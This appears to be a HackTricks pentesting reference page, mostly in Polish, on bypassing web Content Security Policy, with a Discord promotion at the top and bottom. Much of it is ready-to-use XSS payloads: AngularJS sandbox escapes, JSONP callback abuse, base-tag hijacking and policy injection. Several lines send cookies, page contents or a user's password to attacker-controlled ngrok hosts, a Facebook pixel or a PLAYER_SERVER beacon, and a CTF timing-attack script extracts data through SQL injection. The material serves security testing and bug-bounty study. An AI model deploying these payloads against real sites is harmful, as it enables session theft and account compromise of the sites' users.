Content Security Policy (CSP) Bypass

Support HackTricks

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

What is CSP

Content Security Policy (CSP) jest uznawana za technologię przeglądarki, głównie mającą na celu ochronę przed atakami takimi jak cross-site scripting (XSS). Działa poprzez definiowanie i szczegółowe określenie ścieżek i źródeł, z których zasoby mogą być bezpiecznie ładowane przez przeglądarkę. Te zasoby obejmują szereg elementów, takich jak obrazy, ramki i JavaScript. Na przykład, polityka może zezwalać na ładowanie i wykonywanie zasobów z tej samej domeny (self), w tym zasobów inline oraz wykonywanie kodu w postaci stringów za pomocą funkcji takich jak eval, setTimeout lub setInterval.

Wdrożenie CSP odbywa się poprzez nagłówki odpowiedzi lub poprzez włączenie elementów meta do strony HTML. Zgodnie z tą polityką, przeglądarki proaktywnie egzekwują te postanowienia i natychmiast blokują wszelkie wykryte naruszenia.

  • Implemented via response header:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • Zaimplementowane za pomocą tagu meta:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Nagłówki

CSP może być egzekwowane lub monitorowane za pomocą tych nagłówków:

  • Content-Security-Policy: Egzekwuje CSP; przeglądarka blokuje wszelkie naruszenia.

  • Content-Security-Policy-Report-Only: Używane do monitorowania; raportuje naruszenia bez ich blokowania. Idealne do testowania w środowiskach przedprodukcyjnych.

Definiowanie zasobów

CSP ogranicza źródła ładowania zarówno aktywnej, jak i pasywnej zawartości, kontrolując aspekty takie jak wykonywanie JavaScriptu w linii i użycie eval(). Przykładowa polityka to:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Dyrektywy

  • script-src: Zezwala na określone źródła dla JavaScript, w tym adresy URL, skrypty inline oraz skrypty wywoływane przez obsługiwacze zdarzeń lub arkusze stylów XSLT.

  • default-src: Ustala domyślną politykę pobierania zasobów, gdy brak jest konkretnych dyrektyw pobierania.

  • child-src: Określa dozwolone zasoby dla pracowników sieciowych i zawartości osadzonych ramek.

  • connect-src: Ogranicza adresy URL, które mogą być ładowane za pomocą interfejsów takich jak fetch, WebSocket, XMLHttpRequest.

  • frame-src: Ogranicza adresy URL dla ramek.

  • frame-ancestors: Określa, które źródła mogą osadzać bieżącą stronę, stosowane do elementów takich jak <frame>, <iframe>, <object>, <embed>, i <applet>.

  • img-src: Definiuje dozwolone źródła dla obrazów.

  • font-src: Określa ważne źródła dla czcionek ładowanych za pomocą @font-face.

  • manifest-src: Definiuje dozwolone źródła plików manifestu aplikacji.

  • media-src: Definiuje dozwolone źródła do ładowania obiektów multimedialnych.

  • object-src: Definiuje dozwolone źródła dla elementów <object>, <embed>, i <applet>.

  • base-uri: Określa dozwolone adresy URL do ładowania za pomocą elementów <base>.

  • form-action: Wymienia ważne punkty końcowe dla przesyłania formularzy.

  • plugin-types: Ogranicza typy mime, które strona może wywołać.

  • upgrade-insecure-requests: Instrukcje dla przeglądarek, aby przepisać adresy URL HTTP na HTTPS.

  • sandbox: Stosuje ograniczenia podobne do atrybutu sandbox w <iframe>.

  • report-to: Określa grupę, do której zostanie wysłany raport, jeśli polityka zostanie naruszona.

  • worker-src: Określa ważne źródła dla skryptów Worker, SharedWorker lub ServiceWorker.

  • prefetch-src: Określa ważne źródła dla zasobów, które będą pobierane lub wstępnie pobierane.

  • navigate-to: Ogranicza adresy URL, do których dokument może nawigować wszelkimi środkami (a, formularz, window.location, window.open, itp.)

Źródła

  • *: Zezwala na wszystkie adresy URL z wyjątkiem tych z schematami data:, blob:, filesystem:.

  • 'self': Zezwala na ładowanie z tej samej domeny.

  • 'data': Zezwala na ładowanie zasobów za pomocą schematu danych (np. obrazy zakodowane w Base64).

  • 'none': Blokuje ładowanie z jakiegokolwiek źródła.

  • 'unsafe-eval': Zezwala na użycie eval() i podobnych metod, niezalecane z powodów bezpieczeństwa.

  • 'unsafe-hashes': Umożliwia określone inline event handlers.

  • 'unsafe-inline': Zezwala na użycie zasobów inline, takich jak inline <script> lub <style>, niezalecane z powodów bezpieczeństwa.

  • 'nonce': Lista dozwolonych dla określonych skryptów inline z użyciem kryptograficznego nonca (liczba używana raz).

  • Jeśli masz ograniczoną możliwość wykonania JS, możliwe jest uzyskanie używanego nonca wewnątrz strony za pomocą doc.defaultView.top.document.querySelector("[nonce]") i ponowne użycie go do załadowania złośliwego skryptu (jeśli użyto strict-dynamic, każde dozwolone źródło może ładować nowe źródła, więc to nie jest potrzebne), jak w:

Załaduj skrypt ponownie używając nonca
  • 'sha256-<hash>': Biała lista skryptów z określonym hashem sha256.

  • 'strict-dynamic': Pozwala na ładowanie skryptów z dowolnego źródła, jeśli zostało to dodane do białej listy za pomocą nonce lub hasha.

  • 'host': Określa konkretny host, taki jak example.com.

  • https:: Ogranicza adresy URL do tych, które używają HTTPS.

  • blob:: Pozwala na ładowanie zasobów z adresów URL Blob (np. adresy URL Blob utworzone za pomocą JavaScript).

  • filesystem:: Pozwala na ładowanie zasobów z systemu plików.

  • 'report-sample': Zawiera próbkę naruszającego kodu w raporcie o naruszeniu (przydatne do debugowania).

  • 'strict-origin': Podobne do 'self', ale zapewnia, że poziom bezpieczeństwa protokołu źródeł odpowiada dokumentowi (tylko bezpieczne źródła mogą ładować zasoby z bezpiecznych źródeł).

  • 'strict-origin-when-cross-origin': Wysyła pełne adresy URL podczas wykonywania żądań z tego samego źródła, ale wysyła tylko źródło, gdy żądanie jest między źródłami.

  • 'unsafe-allow-redirects': Pozwala na ładowanie zasobów, które natychmiast przekierują do innego zasobu. Nie jest zalecane, ponieważ osłabia bezpieczeństwo.

Niebezpieczne zasady CSP

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Działający ładunek: "/><script>alert(1);</script>

self + 'unsafe-inline' za pomocą Iframes

CSP bypass: self + 'unsafe-inline' with Iframes

'unsafe-eval'

To nie działa, aby uzyskać więcej informacji sprawdź to.

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Działający ładunek:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Jeśli w jakiś sposób możesz sprawić, że dozwolony kod JS utworzy nowy tag skryptu w DOM z twoim kodem JS, ponieważ dozwolony skrypt go tworzy, nowy tag skryptu będzie mógł być wykonany.

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

Działający ładunek:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Brak object-src i default-src

Wygląda na to, że to już nie działa

Content-Security-Policy: script-src 'self' ;

Działające ładunki:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Przesyłanie plików + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

Jeśli możesz przesłać plik JS, możesz obejść ten CSP:

Działający ładunek:

"/>'><script src="/uploads/picture.png.js"></script>

Jednakże, jest bardzo prawdopodobne, że serwer waliduje przesłany plik i pozwoli ci tylko na przesyłanie określonego typu plików.

Ponadto, nawet jeśli udałoby ci się przesłać kod JS wewnątrz pliku z rozszerzeniem akceptowanym przez serwer (jak: script.png), to nie wystarczy, ponieważ niektóre serwery, takie jak serwer apache, wybierają typ MIME pliku na podstawie rozszerzenia, a przeglądarki takie jak Chrome odrzucą wykonanie kodu Javascript wewnątrz czegoś, co powinno być obrazem. "Na szczęście", są błędy. Na przykład, z CTF dowiedziałem się, że Apache nie zna rozszerzenia .wave, dlatego nie serwuje go z typem MIME jak audio/*.

Stąd, jeśli znajdziesz XSS i przesyłanie plików, i uda ci się znaleźć błędnie zinterpretowane rozszerzenie, możesz spróbować przesłać plik z tym rozszerzeniem i zawartością skryptu. Lub, jeśli serwer sprawdza poprawny format przesyłanego pliku, stwórz poliglot (przykłady poliglotów tutaj).

Form-action

Jeśli nie ma możliwości wstrzyknięcia JS, możesz spróbować wyeksfiltrować na przykład dane uwierzytelniające wstrzykując akcję formularza (i być może oczekując, że menedżery haseł automatycznie wypełnią hasła). Możesz znaleźć przykład w tym raporcie. Zauważ również, że default-src nie obejmuje akcji formularzy.

Third Party Endpoints + ('unsafe-eval')

Dla niektórych z poniższych ładunków unsafe-eval nie jest nawet potrzebne.

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Załaduj podatną wersję angular i wykonaj dowolny JS:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloads using Angular + a library with functions that return the window object (check out this post):

Post pokazuje, że możesz załadować wszystkie biblioteki z cdn.cloudflare.com (lub z dowolnego innego dozwolonego repozytorium JS), wykonać wszystkie dodane funkcje z każdej biblioteki i sprawdzić które funkcje z których bibliotek zwracają obiekt window.

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSS z nazwy klasy:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Wykorzystywanie kodu JS google recaptcha

Zgodnie z tym opisem CTF możesz wykorzystać https://www.google.com/recaptcha/ wewnątrz CSP, aby wykonać dowolny kod JS, omijając CSP:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Więcej ładunków z tego opisu:

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>

Wykorzystywanie www.google.com do otwartego przekierowania

Poniższy URL przekierowuje do example.com (z tutaj):

https://www.google.com/amp/s/example.com/

Abusowanie *.google.com/script.google.com

Możliwe jest nadużycie Google Apps Script, aby otrzymać informacje na stronie wewnątrz script.google.com. Jak to zrobiono w tym raporcie.

Punkty końcowe stron trzecich + JSONP

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Scenariusze takie jak ten, w którym script-src jest ustawione na self oraz na określoną domenę, która jest na liście dozwolonych, mogą być obejście za pomocą JSONP. Punkty końcowe JSONP pozwalają na niebezpieczne metody wywołań zwrotnych, co umożliwia atakującemu przeprowadzenie XSS, działający ładunek:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee zawiera gotowe do użycia punkty końcowe JSONP do obejścia CSP różnych stron internetowych.

Ta sama podatność wystąpi, jeśli zaufany punkt końcowy zawiera Open Redirect, ponieważ jeśli początkowy punkt końcowy jest zaufany, przekierowania są zaufane.

Nadużycia ze strony osób trzecich

Jak opisano w następującym poście, istnieje wiele domen osób trzecich, które mogą być dozwolone gdzieś w CSP, które mogą być nadużywane do eksfiltracji danych lub wykonywania kodu JavaScript. Niektóre z tych osób trzecich to:

PodmiotDozwolona domenaMożliwości

Facebook

www.facebook.com, *.facebook.com

Exfil

Hotjar

*.hotjar.com, ask.hotjar.io

Exfil

Jsdelivr

*.jsdelivr.com, cdn.jsdelivr.net

Exec

Amazon CloudFront

*.cloudfront.net

Exfil, Exec

Amazon AWS

*.amazonaws.com

Exfil, Exec

Azure Websites

*.azurewebsites.net, *.azurestaticapps.net

Exfil, Exec

Salesforce Heroku

*.herokuapp.com

Exfil, Exec

Google Firebase

*.firebaseapp.com

Exfil, Exec

Jeśli znajdziesz którąkolwiek z dozwolonych domen w CSP twojego celu, istnieje szansa, że będziesz mógł obejść CSP, rejestrując się w usłudze osób trzecich i eksfiltrując dane do tej usługi lub wykonując kod.

Na przykład, jeśli znajdziesz następujące CSP:

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

lub

Content-Security-Policy​: connect-src www.facebook.com;​

Powinieneś być w stanie wyeksportować dane, podobnie jak zawsze robiono to z Google Analytics/Google Tag Manager. W tym przypadku postępuj zgodnie z tymi ogólnymi krokami:

  1. Utwórz konto dewelopera Facebook tutaj.

  2. Utwórz nową aplikację "Facebook Login" i wybierz "Strona internetowa".

  3. Przejdź do "Ustawienia -> Podstawowe" i zdobądź swój "App ID".

  4. Na docelowej stronie, z której chcesz wyeksportować dane, możesz wyeksportować dane, bezpośrednio używając gadżetu SDK Facebooka "fbq" przez "customEvent" i ładunek danych.

  5. Przejdź do swojego "Menedżera zdarzeń" aplikacji i wybierz utworzoną aplikację (zauważ, że menedżer zdarzeń można znaleźć pod adresem URL podobnym do tego: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events).

  6. Wybierz zakładkę "Test Events", aby zobaczyć zdarzenia wysyłane przez "twoją" stronę internetową.

Następnie, po stronie ofiary, wykonujesz następujący kod, aby zainicjować piksel śledzenia Facebooka, wskazując na app-id konta dewelopera napastnika i wydając niestandardowe zdarzenie w ten sposób:

fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

Jeśli chodzi o pozostałe siedem domen zewnętrznych określonych w poprzedniej tabeli, istnieje wiele innych sposobów, w jakie można je nadużyć. Odwołaj się do wcześniej postu na blogu w celu uzyskania dodatkowych wyjaśnień na temat innych nadużyć związanych z zewnętrznymi.

Bypass za pomocą RPO (Relative Path Overwrite)

Oprócz wspomnianego wcześniej przekierowania w celu obejścia ograniczeń ścieżki, istnieje inna technika zwana Relative Path Overwrite (RPO), która może być używana na niektórych serwerach.

Na przykład, jeśli CSP zezwala na ścieżkę https://example.com/scripts/react/, można ją obejść w następujący sposób:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

Przeglądarka ostatecznie załaduje https://example.com/scripts/angular/angular.js.

Działa to, ponieważ dla przeglądarki ładujesz plik o nazwie ..%2fangular%2fangular.js znajdujący się pod https://example.com/scripts/react/, co jest zgodne z CSP.

∑, zdekodują to, skutecznie żądając https://example.com/scripts/react/../angular/angular.js, co jest równoważne https://example.com/scripts/angular/angular.js.

Poprzez wykorzystanie tej niespójności w interpretacji URL między przeglądarką a serwerem, zasady ścieżki mogą być obejście.

Rozwiązaniem jest nie traktowanie %2f jako / po stronie serwera, zapewniając spójną interpretację między przeglądarką a serwerem, aby uniknąć tego problemu.

Przykład online: https://jsbin.com/werevijewa/edit?html,output

Wykonanie JS w Iframe

Iframes in XSS, CSP and SOP

brak base-uri

Jeśli dyrektywa base-uri jest brakująca, możesz to wykorzystać do przeprowadzenia wstrzyknięcia wiszącego markup.

Ponadto, jeśli strona ładuje skrypt za pomocą ścieżki względnej (jak <script src="/js/app.js">) używając Nonce, możesz wykorzystać tag base, aby załadować skrypt z twojego własnego serwera, osiągając XSS. Jeśli podatna strona jest ładowana z httpS, użyj adresu httpS w tagu base.

<base href="https://www.attacker.com/">

AngularJS events

Specyficzna polityka znana jako Content Security Policy (CSP) może ograniczać zdarzenia JavaScript. Niemniej jednak, AngularJS wprowadza niestandardowe zdarzenia jako alternatywę. W ramach zdarzenia, AngularJS dostarcza unikalny obiekt $event, odnoszący się do natywnego obiektu zdarzenia przeglądarki. Obiekt $event może być wykorzystany do obejścia CSP. Co ważne, w Chrome, obiekt $event/event posiada atrybut path, zawierający tablicę obiektów zaangażowanych w łańcuch wykonania zdarzenia, z obiektem window zawsze umiejscowionym na końcu. Ta struktura jest kluczowa dla taktyk ucieczki z piaskownicy.

Kierując tę tablicę do filtra orderBy, możliwe jest iterowanie po niej, wykorzystując element końcowy (obiekt window) do wywołania globalnej funkcji, takiej jak alert(). Poniższy fragment kodu ilustruje ten proces:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Ten fragment podkreśla użycie dyrektywy ng-focus do wywołania zdarzenia, wykorzystując $event.path|orderBy do manipulacji tablicą path, oraz korzystając z obiektu window do wykonania funkcji alert(), ujawniając tym samym document.cookie.

Znajdź inne obejścia Angulara w https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS i dozwolona domena

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Polityka CSP, która zezwala na ładowanie skryptów z określonych domen w aplikacji Angular JS, może być obejściem poprzez wywołanie funkcji zwrotnych i niektórych podatnych klas. Dalsze informacje na temat tej techniki można znaleźć w szczegółowym przewodniku dostępnym w tym repozytorium git.

Działające ładunki:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Inne punkty końcowe do dowolnego wykonania JSONP można znaleźć tutaj (niektóre z nich zostały usunięte lub naprawione)

Ominięcie przez Przekierowanie

Co się dzieje, gdy CSP napotyka przekierowanie po stronie serwera? Jeśli przekierowanie prowadzi do innego pochodzenia, które nie jest dozwolone, nadal zakończy się niepowodzeniem.

Jednakże, zgodnie z opisem w specyfikacji CSP 4.2.2.3. Ścieżki i Przekierowania, jeśli przekierowanie prowadzi do innej ścieżki, może obejść oryginalne ograniczenia.

Oto przykład:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

Jeśli CSP jest ustawione na https://www.google.com/a/b/c/d, ponieważ ścieżka jest brana pod uwagę, zarówno skrypty /test, jak i /a/test będą blokowane przez CSP.

Jednakże, ostateczne http://localhost:5555/301 będzie przekierowane po stronie serwera na https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//. Ponieważ jest to przekierowanie, ścieżka nie jest brana pod uwagę, a skrypt może być załadowany, co omija ograniczenie ścieżki.

Dzięki temu przekierowaniu, nawet jeśli ścieżka jest całkowicie określona, nadal będzie omijana.

Dlatego najlepszym rozwiązaniem jest upewnienie się, że strona internetowa nie ma żadnych luk w przekierowaniach oraz że nie ma domen, które mogą być wykorzystane w regułach CSP.

Ominięcie CSP z wiszącym znacznikiem

Przeczytaj jak tutaj.

'unsafe-inline'; img-src *; przez XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' oznacza, że możesz wykonać dowolny skrypt w kodzie (XSS może wykonać kod), a img-src * oznacza, że możesz używać na stronie internetowej dowolnego obrazu z dowolnego źródła.

Możesz obejść ten CSP, eksfiltrując dane za pomocą obrazów (w tej sytuacji XSS nadużywa CSRF, gdzie strona dostępna dla bota zawiera SQLi, i wyciąga flagę za pomocą obrazu):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

Możesz również nadużyć tej konfiguracji, aby załadować kod javascript wstawiony w obraz. Jeśli na przykład strona pozwala na ładowanie obrazów z Twittera. Możesz stworzyć specjalny obraz, przesłać go na Twittera i nadużyć "unsafe-inline", aby wykonać kod JS (jak w przypadku zwykłego XSS), który załaduje obraz, wyodrębni JS z niego i wykona go: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Z pracownikami serwisowymi

Funkcja importScripts pracowników serwisowych nie jest ograniczona przez CSP:

Abusing Service Workers

Wstrzykiwanie polityki

Badania: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Jeśli parametr wysłany przez Ciebie jest wklejany wewnątrz deklaracji polityki, to możesz zmienić politykę w taki sposób, aby była bezużyteczna. Możesz zezwolić na skrypt 'unsafe-inline' z dowolnym z tych obejść:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Ponieważ ta dyrektywa nadpisze istniejące dyrektywy script-src. Możesz znaleźć przykład tutaj: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

W Edge jest to znacznie prostsze. Jeśli możesz dodać w CSP tylko to: ;_ Edge usunie całą politykę. Przykład: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; via XSS (iframe) - Atak czasowy

Zauważ brak dyrektywy 'unsafe-inline' Tym razem możesz sprawić, że ofiara załaduje stronę pod twoją kontrolą za pomocą XSS z <iframe. Tym razem sprawisz, że ofiara uzyska dostęp do strony, z której chcesz wydobyć informacje (CSRF). Nie możesz uzyskać dostępu do zawartości strony, ale jeśli w jakiś sposób możesz kontrolować czas, jaki strona potrzebuje na załadowanie, możesz wydobyć potrzebne informacje.

Tym razem flaga zostanie wydobyta, gdy tylko znak zostanie poprawnie odgadnięty za pomocą SQLi, odpowiedź zajmuje więcej czasu z powodu funkcji sleep. Następnie będziesz mógł wydobyć flagę:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

Via Bookmarklets

Ten atak wymagałby pewnego inżynierii społecznej, w której atakujący przekonuje użytkownika do przeciągnięcia i upuszczenia linku na zakładkę przeglądarki. Ta zakładka zawierałaby złośliwy kod javascript, który po przeciągnięciu lub kliknięciu byłby wykonywany w kontekście bieżącego okna przeglądarki, omijając CSP i pozwalając na kradzież wrażliwych informacji takich jak ciasteczka lub tokeny.

Aby uzyskać więcej informacji, sprawdź oryginalny raport tutaj.

CSP bypass by restricting CSP

W tym opisie CTF, CSP jest omijany przez wstrzyknięcie wewnątrz dozwolonego iframe bardziej restrykcyjnego CSP, które zabraniało ładowania konkretnego pliku JS, który następnie, poprzez zanieczyszczenie prototypu lub dom clobbering, pozwalał na wykorzystanie innego skryptu do załadowania dowolnego skryptu.

Możesz ograniczyć CSP iframe za pomocą atrybutu csp:

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

W tym opisie CTF możliwe było poprzez wstrzykiwanie HTML ograniczenie bardziej CSP, co spowodowało, że skrypt zapobiegający CSTI został wyłączony, a zatem vulnerability stała się wykonalna. CSP można uczynić bardziej restrykcyjnym, używając tagów meta HTML, a skrypty inline można wyłączyć usuwając wejście, pozwalając na ich nonce i włączając konkretny skrypt inline za pomocą sha:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

JS exfiltracja z Content-Security-Policy-Report-Only

Jeśli uda ci się sprawić, że serwer odpowie nagłówkiem Content-Security-Policy-Report-Only z wartością kontrolowaną przez ciebie (może z powodu CRLF), możesz skierować go na swój serwer, a jeśli owiniesz treść JS, którą chcesz wyeksfiltrować, w <script> i ponieważ bardzo prawdopodobne, że unsafe-inline nie jest dozwolone przez CSP, to wywoła błąd CSP i część skryptu (zawierająca wrażliwe informacje) zostanie wysłana do serwera z Content-Security-Policy-Report-Only.

Dla przykładu sprawdź ten opis CTF.

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

Leaking Information with CSP and Iframe

  • Tworzy się iframe, który wskazuje na URL (nazwijmy go https://example.redirect.com), który jest dozwolony przez CSP.

  • Ten URL następnie przekierowuje do tajnego URL (np. https://usersecret.example2.com), który jest niedozwolony przez CSP.

  • Słuchając zdarzenia securitypolicyviolation, można przechwycić właściwość blockedURI. Ta właściwość ujawnia domenę zablokowanego URI, wyciekając tajną domenę, do której przekierowano początkowy URL.

Interesujące jest to, że przeglądarki takie jak Chrome i Firefox mają różne zachowania w obsłudze iframe'ów w odniesieniu do CSP, co prowadzi do potencjalnego wycieku wrażliwych informacji z powodu nieokreślonego zachowania.

Inna technika polega na wykorzystaniu samego CSP do wydedukowania tajnego subdomeny. Metoda ta opiera się na algorytmie wyszukiwania binarnego i dostosowywaniu CSP, aby uwzględnić konkretne domeny, które są celowo zablokowane. Na przykład, jeśli tajna subdomena składa się z nieznanych znaków, można iteracyjnie testować różne subdomeny, modyfikując dyrektywę CSP, aby zablokować lub zezwolić na te subdomeny. Oto fragment pokazujący, jak CSP może być skonfigurowane, aby ułatwić tę metodę:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Monitorując, które żądania są blokowane lub dozwolone przez CSP, można zawęzić możliwe znaki w tajnej subdomenie, ostatecznie odkrywając pełny URL.

Obie metody wykorzystują niuanse implementacji i zachowania CSP w przeglądarkach, pokazując, jak pozornie bezpieczne polityki mogą nieumyślnie ujawniać wrażliwe informacje.

Sztuczka z tutaj.

Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hackerami i łowcami błędów!

